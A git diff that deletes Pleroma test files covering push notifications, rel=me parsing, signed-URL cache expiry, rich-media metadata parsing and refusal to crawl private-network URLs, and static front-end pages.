-# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PlugTest do - @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" - - alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug - alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug - alias Pleroma.Plugs.PlugHelper - - import Mock - - use Pleroma.Web.ConnCase - - describe "when plug is skipped, " do - setup_with_mocks( - [ - {ExpectPublicOrAuthenticatedCheckPlug, [:passthrough], []} - ], - %{conn: conn} - ) do - conn = ExpectPublicOrAuthenticatedCheckPlug.skip_plug(conn) - %{conn: conn} - end - - test "it neither adds plug to called plugs list nor calls `perform/2`, " <> - "regardless of :if_func / :unless_func options", - %{conn: conn} do - for opts <- [%{}, %{if_func: fn _ -> true end}, %{unless_func: fn _ -> false end}] do - ret_conn = ExpectPublicOrAuthenticatedCheckPlug.call(conn, opts) - - refute called(ExpectPublicOrAuthenticatedCheckPlug.perform(:_, :_)) - refute PlugHelper.plug_called?(ret_conn, ExpectPublicOrAuthenticatedCheckPlug) - end - end - end - - describe "when plug is NOT skipped, " do - setup_with_mocks([{ExpectAuthenticatedCheckPlug, [:passthrough], []}]) do - :ok - end - - test "with no pre-run checks, adds plug to called plugs list and calls `perform/2`", %{ - conn: conn - } do - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{}) - - assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) - assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - end - - test "when :if_func option is given, calls the plug only if provided function evals tru-ish", - %{conn: conn} do - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> false end}) - - refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) - refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> true end}) - - assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) - assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - end - - test "if :unless_func option is given, calls the plug only if provided function evals falsy", - %{conn: conn} do - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> true end}) - - refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) - refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - - ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> false end}) - - assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) - assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) - end - - test "allows a plug to be called multiple times (even if it's in called plugs list)", %{ - conn: conn - } do - conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value1}) - assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value1})) - - assert PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) - - conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value2}) - assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value2})) - end - end -end diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs deleted file mode 100644 index 6cab46696..000000000 --- a/test/web/push/impl_test.exs +++ /dev/null @@ -1,344 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Push.ImplTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Push.Impl - alias Pleroma.Web.Push.Subscription - - setup do - Tesla.Mock.mock(fn - %{method: :post, url: "https://example.com/example/1234"} -> - %Tesla.Env{status: 200} - - %{method: :post, url: "https://example.com/example/not_found"} -> - %Tesla.Env{status: 400} - - %{method: :post, url: "https://example.com/example/bad"} -> - %Tesla.Env{status: 100} - end) - - :ok - end - - @sub %{ - endpoint: "https://example.com/example/1234", - keys: %{ - auth: "8eDyX_uCN0XRhSbY5hs7Hg==", - p256dh: - "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" - } - } - @api_key "BASgACIHpN1GYgzSRp" - @message "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." - - test "performs sending notifications" do - user = insert(:user) - user2 = insert(:user) - insert(:push_subscription, user: user, data: %{alerts: %{"mention" => true}}) - insert(:push_subscription, user: user2, data: %{alerts: %{"mention" => true}}) - - insert(:push_subscription, - user: user, - data: %{alerts: %{"follow" => true, "mention" => true}} - ) - - insert(:push_subscription, - user: user, - data: %{alerts: %{"follow" => true, "mention" => false}} - ) - - {:ok, activity} = CommonAPI.post(user, %{status: "<Lorem ipsum dolor sit amet."}) - - notif = - insert(:notification, - user: user, - activity: activity, - type: "mention" - ) - - assert Impl.perform(notif) == {:ok, [:ok, :ok]} - end - - @tag capture_log: true - test "returns error if notif does not match " do - assert Impl.perform(%{}) == {:error, :unknown_type} - end - - test "successful message sending" do - assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok - end - - @tag capture_log: true - test "fail message sending" do - assert Impl.push_message( - @message, - Map.merge(@sub, %{endpoint: "https://example.com/example/bad"}), - @api_key, - %Subscription{} - ) == :error - end - - test "delete subscription if result send message between 400..500" do - subscription = insert(:push_subscription) - - assert Impl.push_message( - @message, - Map.merge(@sub, %{endpoint: "https://example.com/example/not_found"}), - @api_key, - subscription - ) == :ok - - refute Pleroma.Repo.get(Subscription, subscription.id) - end - - test "deletes subscription when token has been deleted" do - subscription = insert(:push_subscription) - - Pleroma.Repo.delete(subscription.token) - - refute Pleroma.Repo.get(Subscription, subscription.id) - end - - test "renders title and body for create activity" do - user = insert(:user, nickname: "Bob") - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - object = Object.normalize(activity) - - assert Impl.format_body( - %{ - activity: activity - }, - user, - object - ) == - "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." - - assert Impl.format_title(%{activity: activity, type: "mention"}) == - "New Mention" - end - - test "renders title and body for follow activity" do - user = insert(:user, nickname: "Bob") - other_user = insert(:user) - {:ok, _, _, activity} = CommonAPI.follow(user, other_user) - object = Object.normalize(activity, false) - - assert Impl.format_body(%{activity: activity, type: "follow"}, user, object) == - "@Bob has followed you" - - assert Impl.format_title(%{activity: activity, type: "follow"}) == - "New Follower" - end - - test "renders title and body for announce activity" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) - object = Object.normalize(activity) - - assert Impl.format_body(%{activity: announce_activity}, user, object) == - "@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." - - assert Impl.format_title(%{activity: announce_activity, type: "reblog"}) == - "New Repeat" - end - - test "renders title and body for like activity" do - user = insert(:user, nickname: "Bob") - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - {:ok, activity} = CommonAPI.favorite(user, activity.id) - object = Object.normalize(activity) - - assert Impl.format_body(%{activity: activity, type: "favourite"}, user, object) == - "@Bob has favorited your post" - - assert Impl.format_title(%{activity: activity, type: "favourite"}) == - "New Favorite" - end - - test "renders title for create activity with direct visibility" do - user = insert(:user, nickname: "Bob") - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "direct", - status: "This is just between you and me, pal" - }) - - assert Impl.format_title(%{activity: activity}) == - "New Direct Message" - end - - describe "build_content/3" do - test "builds content for chat messages" do - user = insert(:user) - recipient = insert(:user) - - {:ok, chat} = CommonAPI.post_chat_message(user, recipient, "hey") - object = Object.normalize(chat, false) - [notification] = Notification.for_user(recipient) - - res = Impl.build_content(notification, user, object) - - assert res == %{ - body: "@#{user.nickname}: hey", - title: "New Chat Message" - } - end - - test "builds content for chat messages with no content" do - user = insert(:user) - recipient = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, chat} = CommonAPI.post_chat_message(user, recipient, nil, media_id: upload.id) - object = Object.normalize(chat, false) - [notification] = Notification.for_user(recipient) - - res = Impl.build_content(notification, user, object) - - assert res == %{ - body: "@#{user.nickname}: (Attachment)", - title: "New Chat Message" - } - end - - test "hides contents of notifications when option enabled" do - user = insert(:user, nickname: "Bob") - - user2 = - insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: true}) - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "direct", - status: "<Lorem ipsum dolor sit amet." - }) - - notif = insert(:notification, user: user2, activity: activity) - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "New Direct Message" - } - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "public", - status: "<Lorem ipsum dolor sit amet." - }) - - notif = insert(:notification, user: user2, activity: activity, type: "mention") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "New Mention" - } - - {:ok, activity} = CommonAPI.favorite(user, activity.id) - - notif = insert(:notification, user: user2, activity: activity, type: "favourite") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "New Favorite" - } - end - - test "returns regular content when hiding contents option disabled" do - user = insert(:user, nickname: "Bob") - - user2 = - insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: false}) - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "direct", - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - notif = insert(:notification, user: user2, activity: activity) - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: - "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", - title: "New Direct Message" - } - - {:ok, activity} = - CommonAPI.post(user, %{ - visibility: "public", - status: - "<span>Lorem ipsum dolor sit amet</span>, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." - }) - - notif = insert(:notification, user: user2, activity: activity, type: "mention") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: - "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", - title: "New Mention" - } - - {:ok, activity} = CommonAPI.favorite(user, activity.id) - - notif = insert(:notification, user: user2, activity: activity, type: "favourite") - - actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) - object = Object.normalize(activity) - - assert Impl.build_content(notif, actor, object) == %{ - body: "@Bob has favorited your post", - title: "New Favorite" - } - end - end -end diff --git a/test/web/rel_me_test.exs b/test/web/rel_me_test.exs deleted file mode 100644 index 65255916d..000000000 --- a/test/web/rel_me_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RelMeTest do - use ExUnit.Case - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "parse/1" do - hrefs = ["https://social.example.org/users/lain"] - - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/null") == {:ok, []} - - assert {:ok, %Tesla.Env{status: 404}} = - Pleroma.Web.RelMe.parse("http://example.com/rel_me/error") - - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/link") == {:ok, hrefs} - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor") == {:ok, hrefs} - assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor_nofollow") == {:ok, hrefs} - end - - test "maybe_put_rel_me/2" do - profile_urls = ["https://social.example.org/users/lain"] - attr = "me" - fallback = nil - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/null", profile_urls) == - fallback - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/error", profile_urls) == - fallback - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/anchor", profile_urls) == - attr - - assert Pleroma.Web.RelMe.maybe_put_rel_me( - "http://example.com/rel_me/anchor_nofollow", - profile_urls - ) == attr - - assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/link", profile_urls) == - attr - end -end diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs deleted file mode 100644 index 1ceae1a31..000000000 --- a/test/web/rich_media/aws_signed_url_test.exs +++ /dev/null @@ -1,82 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.TTL.AwsSignedUrlTest do - use ExUnit.Case, async: true - - test "s3 signed url is parsed correct for expiration time" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - expire_time = - Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) - - assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) - end - - test "s3 signed url is parsed and correct ttl is set for rich media" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - body = """ - <meta name="twitter:card" content="Pleroma" /> - <meta name="twitter:site" content="Pleroma" /> - <meta name="twitter:title" content="Pleroma" /> - <meta name="twitter:description" content="Pleroma" /> - <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> - """ - - Tesla.Mock.mock(fn - %{ - method: :get, - url: "https://pleroma.social/amz" - } -> - %Tesla.Env{status: 200, body: body} - end) - - Cachex.put(:rich_media_cache, url, metadata) - - Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) - - {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) - - # as there is delay in setting and pulling the data from cache we ignore 1 second - # make it 2 seconds for flakyness - assert_in_delta(valid_till * 1000, cache_ttl, 2000) - end - - defp construct_s3_url(timestamp, valid_till) do - "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ - timestamp - }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" - end - - defp construct_metadata(timestamp, valid_till, url) do - %{ - image: construct_s3_url(timestamp, valid_till), - site: "Pleroma", - title: "Pleroma", - description: "Pleroma", - url: url - } - end -end diff --git a/test/web/rich_media/helpers_test.exs b/test/web/rich_media/helpers_test.exs deleted file mode 100644 index 4b97bd66b..000000000 --- a/test/web/rich_media/helpers_test.exs +++ /dev/null @@ -1,86 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.HelpersTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.RichMedia.Helpers - - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - :ok - end - - setup do: clear_config([:rich_media, :enabled]) - - test "refuses to crawl incomplete URLs" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "[test](example.com/ogp)", - content_type: "text/markdown" - }) - - Config.put([:rich_media, :enabled], true) - - assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "refuses to crawl malformed URLs" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "[test](example.com[]/ogp)", - content_type: "text/markdown" - }) - - Config.put([:rich_media, :enabled], true) - - assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "crawls valid, complete URLs" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "[test](https://example.com/ogp)", - content_type: "text/markdown" - }) - - Config.put([:rich_media, :enabled], true) - - assert %{page_url: "https://example.com/ogp", rich_media: _} = - Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "refuses to crawl URLs of private network from posts" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "http://127.0.0.1:4000/notice/9kCP7VNyPJXFOXDrgO"}) - - {:ok, activity2} = CommonAPI.post(user, %{status: "https://10.111.10.1/notice/9kCP7V"}) - {:ok, activity3} = CommonAPI.post(user, %{status: "https://172.16.32.40/notice/9kCP7V"}) - {:ok, activity4} = CommonAPI.post(user, %{status: "https://192.168.10.40/notice/9kCP7V"}) - {:ok, activity5} = CommonAPI.post(user, %{status: "https://pleroma.local/notice/9kCP7V"}) - - Config.put([:rich_media, :enabled], true) - - assert %{} = Helpers.fetch_data_for_activity(activity) - assert %{} = Helpers.fetch_data_for_activity(activity2) - assert %{} = Helpers.fetch_data_for_activity(activity3) - assert %{} = Helpers.fetch_data_for_activity(activity4) - assert %{} = Helpers.fetch_data_for_activity(activity5) - end -end diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs deleted file mode 100644 index 6d00c2af5..000000000 --- a/test/web/rich_media/parser_test.exs +++ /dev/null @@ -1,176 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.ParserTest do - use ExUnit.Case, async: true - - alias Pleroma.Web.RichMedia.Parser - - setup do - Tesla.Mock.mock(fn - %{ - method: :get, - url: "http://example.com/ogp" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/ogp.html")} - - %{ - method: :get, - url: "http://example.com/non-ogp" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/non_ogp_embed.html")} - - %{ - method: :get, - url: "http://example.com/ogp-missing-title" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/rich_media/ogp-missing-title.html") - } - - %{ - method: :get, - url: "http://example.com/twitter-card" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} - - %{ - method: :get, - url: "http://example.com/oembed" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.html")} - - %{ - method: :get, - url: "http://example.com/oembed.json" - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/oembed.json")} - - %{method: :get, url: "http://example.com/empty"} -> - %Tesla.Env{status: 200, body: "hello"} - - %{method: :get, url: "http://example.com/malformed"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/malformed-data.html")} - - %{method: :get, url: "http://example.com/error"} -> - {:error, :overload} - - %{ - method: :head, - url: "http://example.com/huge-page" - } -> - %Tesla.Env{ - status: 200, - headers: [{"content-length", "2000001"}, {"content-type", "text/html"}] - } - - %{ - method: :head, - url: "http://example.com/pdf-file" - } -> - %Tesla.Env{ - status: 200, - headers: [{"content-length", "1000000"}, {"content-type", "application/pdf"}] - } - - %{method: :head} -> - %Tesla.Env{status: 404, body: "", headers: []} - end) - - :ok - end - - test "returns error when no metadata present" do - assert {:error, _} = Parser.parse("http://example.com/empty") - end - - test "doesn't just add a title" do - assert {:error, {:invalid_metadata, _}} = Parser.parse("http://example.com/non-ogp") - end - - test "parses ogp" do - assert Parser.parse("http://example.com/ogp") == - {:ok, - %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "type" => "video.movie", - "url" => "http://example.com/ogp" - }} - end - - test "falls back to <title> when ogp:title is missing" do - assert Parser.parse("http://example.com/ogp-missing-title") == - {:ok, - %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock (1996)", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "type" => "video.movie", - "url" => "http://example.com/ogp-missing-title" - }} - end - - test "parses twitter card" do - assert Parser.parse("http://example.com/twitter-card") == - {:ok, - %{ - "card" => "summary", - "site" => "@flickr", - "image" => "https://farm6.staticflickr.com/5510/14338202952_93595258ff_z.jpg", - "title" => "Small Island Developing States Photo Submission", - "description" => "View the album on Flickr.", - "url" => "http://example.com/twitter-card" - }} - end - - test "parses OEmbed" do - assert Parser.parse("http://example.com/oembed") == - {:ok, - %{ - "author_name" => "‮‭‬bees‬", - "author_url" => "https://www.flickr.com/photos/bees/", - "cache_age" => 3600, - "flickr_type" => "photo", - "height" => "768", - "html" => - "<a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/bees/2362225867/\" title=\"Bacon Lollys by ‮‭‬bees‬, on Flickr\"><img src=\"https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_b.jpg\" width=\"1024\" height=\"768\" alt=\"Bacon Lollys\"></a><script async src=\"https://embedr.flickr.com/assets/client-code.js\" charset=\"utf-8\"></script>", - "license" => "All Rights Reserved", - "license_id" => 0, - "provider_name" => "Flickr", - "provider_url" => "https://www.flickr.com/", - "thumbnail_height" => 150, - "thumbnail_url" => - "https://farm4.staticflickr.com/3040/2362225867_4a87ab8baf_q.jpg", - "thumbnail_width" => 150, - "title" => "Bacon Lollys", - "type" => "photo", - "url" => "http://example.com/oembed", - "version" => "1.0", - "web_page" => "https://www.flickr.com/photos/bees/2362225867/", - "web_page_short_url" => "https://flic.kr/p/4AK2sc", - "width" => "1024" - }} - end - - test "rejects invalid OGP data" do - assert {:error, _} = Parser.parse("http://example.com/malformed") - end - - test "returns error if getting page was not successful" do - assert {:error, :overload} = Parser.parse("http://example.com/error") - end - - test "does a HEAD request to check if the body is too large" do - assert {:error, :body_too_large} = Parser.parse("http://example.com/huge-page") - end - - test "does a HEAD request to check if the body is html" do - assert {:error, {:content_type, _}} = Parser.parse("http://example.com/pdf-file") - end -end diff --git a/test/web/rich_media/parsers/twitter_card_test.exs b/test/web/rich_media/parsers/twitter_card_test.exs deleted file mode 100644 index 219f005a2..000000000 --- a/test/web/rich_media/parsers/twitter_card_test.exs +++ /dev/null @@ -1,127 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parsers.TwitterCardTest do - use ExUnit.Case, async: true - alias Pleroma.Web.RichMedia.Parsers.TwitterCard - - test "returns error when html not contains twitter card" do - assert TwitterCard.parse([{"html", [], [{"head", [], []}, {"body", [], []}]}], %{}) == %{} - end - - test "parses twitter card with only name attributes" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers3.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "app:id:googleplay" => "com.nytimes.android", - "app:name:googleplay" => "NYTimes", - "app:url:googleplay" => "nytimes://reader/id/100000006583622", - "site" => nil, - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", - "type" => "article", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database." - } - end - - test "parses twitter card with only property attributes" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers2.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "card" => "summary_large_image", - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", - "image:alt" => "", - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", - "type" => "article" - } - end - - test "parses twitter card with name & property attributes" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "app:id:googleplay" => "com.nytimes.android", - "app:name:googleplay" => "NYTimes", - "app:url:googleplay" => "nytimes://reader/id/100000006583622", - "card" => "summary_large_image", - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg", - "image:alt" => "", - "site" => nil, - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html", - "type" => "article" - } - end - - test "respect only first title tag on the page" do - image_path = - "https://assets.atlasobscura.com/media/W1siZiIsInVwbG9hZHMvYXNzZXRzLzkwYzgyMzI4LThlMDUtNGRiNS05MDg3LTUzMGUxZTM5N2RmMmVkOTM5ZDM4MGM4OTIx" <> - "YTQ5MF9EQVIgZXhodW1hdGlvbiBvZiBNYXJnYXJldCBDb3JiaW4gZ3JhdmUgMTkyNi5qcGciXSxbInAiLCJjb252ZXJ0IiwiIl0sWyJwIiwiY29udmVydCIsIi1xdWFsaXR5IDgxIC1hdXRvLW9" <> - "yaWVudCJdLFsicCIsInRodW1iIiwiNjAweD4iXV0/DAR%20exhumation%20of%20Margaret%20Corbin%20grave%201926.jpg" - - html = - File.read!("test/fixtures/margaret-corbin-grave-west-point.html") |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "site" => "@atlasobscura", - "title" => "The Missing Grave of Margaret Corbin, Revolutionary War Veteran", - "card" => "summary_large_image", - "image" => image_path, - "description" => - "She's the only woman veteran honored with a monument at West Point. But where was she buried?", - "site_name" => "Atlas Obscura", - "type" => "article", - "url" => "http://www.atlasobscura.com/articles/margaret-corbin-grave-west-point" - } - end - - test "takes first founded title in html head if there is html markup error" do - html = - File.read!("test/fixtures/nypd-facial-recognition-children-teenagers4.html") - |> Floki.parse_document!() - - assert TwitterCard.parse(html, %{}) == - %{ - "site" => nil, - "title" => - "She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.", - "app:id:googleplay" => "com.nytimes.android", - "app:name:googleplay" => "NYTimes", - "app:url:googleplay" => "nytimes://reader/id/100000006583622", - "description" => - "With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.", - "image" => - "https://static01.nyt.com/images/2019/08/01/nyregion/01nypd-juveniles-promo/01nypd-juveniles-promo-facebookJumbo.jpg", - "type" => "article", - "url" => - "https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html" - } - end -end diff --git a/test/web/static_fe/static_fe_controller_test.exs b/test/web/static_fe/static_fe_controller_test.exs deleted file mode 100644 index f819a1e52..000000000 --- a/test/web/static_fe/static_fe_controller_test.exs +++ /dev/null @@ -1,196 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Activity - alias Pleroma.Config - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do: clear_config([:static_fe, :enabled], true) - setup do: clear_config([:instance, :federating], true) - - setup %{conn: conn} do - conn = put_req_header(conn, "accept", "text/html") - user = insert(:user) - - %{conn: conn, user: user} - end - - describe "user profile html" do - test "just the profile as HTML", %{conn: conn, user: user} do - conn = get(conn, "/users/#{user.nickname}") - - assert html_response(conn, 200) =~ user.nickname - end - - test "404 when user not found", %{conn: conn} do - conn = get(conn, "/users/limpopo") - - assert html_response(conn, 404) =~ "not found" 